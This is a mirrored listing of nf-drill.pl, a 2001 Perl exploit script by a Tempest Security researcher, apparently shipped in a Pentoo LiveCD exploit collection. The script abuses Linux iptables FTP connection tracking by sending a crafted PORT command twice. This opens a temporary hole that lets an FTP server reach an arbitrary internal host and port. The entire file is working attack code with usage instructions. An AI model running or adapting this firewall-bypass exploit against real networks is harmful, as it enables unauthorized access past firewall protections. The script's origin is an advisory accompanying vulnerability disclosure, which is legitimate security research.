home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / iptables / nf-drill.pl < prev   
Perl Script  |  2005-02-12  |  3KB  |  93 lines

  1. #!/usr/bin/perl
  2. #
  3. # nf-drill.pl --- "Drill" holes open in Linux iptables connection table
  4. # Author: Cristiano Lincoln Mattos <lincoln@cesar.org.br>, 2001
  5. # Advisory: http://www.tempest.com.br/advisories/linux-iptables
  6. #      Tempest Security Technologies - a business unit of:
  7. #    CESAR - Centro de Estudos e Sistemas Avancados do Recife
  8. #
  9. # This code is licensed under the GPL.
  10. #
  11.  
  12. use Socket;
  13. use Getopt::Long;
  14. use strict;
  15.  
  16. # Option variables
  17. my $server;
  18. my $serverport = 21;
  19. my $host;
  20. my $port;
  21. my $verbose = 0;
  22.  
  23. # Print function
  24. sub out {
  25.     my ($level,$text) = @_;
  26.     if (!$level || ($level && $verbose)) { print "$text"; }
  27. }
  28.  
  29. my $opt = GetOptions("server=s" => \$server,
  30.              "serverport=s" => \$serverport,
  31.              "host=s" => \$host,
  32.              "port=i" => \$port,
  33.              "verbose" => \$verbose);
  34.  
  35. if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
  36.     print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
  37.     print "   - server: specifies the FTP server (IP or hostname) to connect to\n";
  38.     print "   - serverport: specifies the port of the FTP server -- default: 21\n";
  39.     print "   - host: the IP of the target to open in the connection table\n";
  40.     print "   - port: the port of the target to open in the connection table\n";
  41.     print "   - verbose: sets verbose mode\n";
  42.     exit(0);
  43. }
  44.  
  45. print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";
  46. print " Tempest Security Technologies\n\n";
  47.  
  48. # For the meanwhile, expecting an IP
  49. my @ip = split(/\./,$host);
  50. my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port % 256) . "\r\n";
  51.  
  52. # Socket init
  53. my $ipn = inet_aton($server);
  54. if (!$ipn) {
  55.     out(0," Error: could not convert $server\n");
  56.     exit(0);
  57. }
  58.  
  59. my $sin = sockaddr_in($serverport,$ipn);
  60. socket(Sock,PF_INET,SOCK_STREAM,6);
  61.  
  62. if (!connect(Sock,$sin)) {
  63.     out(0," Error: could not connect to $server:$serverport.\n");
  64.     exit(0);
  65. }
  66. out(0," - Connected to $server:$serverport\n");
  67.  
  68. my $buf;
  69. recv(Sock,$buf,120,0); chomp($buf);
  70. out(1," - RECV: $buf\n");
  71.  
  72. # First send a dummy one, just to establish the connection in the iptables logic
  73. send(Sock,$str,0);
  74. out(1," - SEND: $str");
  75. recv(Sock,$buf,120,0); chomp($buf);
  76. out(1," - RECV: $buf\n");
  77.  
  78. # Now, send the one that will insert itself into the connection table
  79. send(Sock,$str,0);
  80. out(1," - SEND: $str");
  81. recv(Sock,$buf,120,0); chomp($buf);
  82. out(1," - RECV: $buf\n");
  83.  
  84. out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
  85. out(0," - Closing connection to $server:$serverport.\n\n");
  86. close(Sock);
  87.  
  88.  
  89.  
  90.  
  91.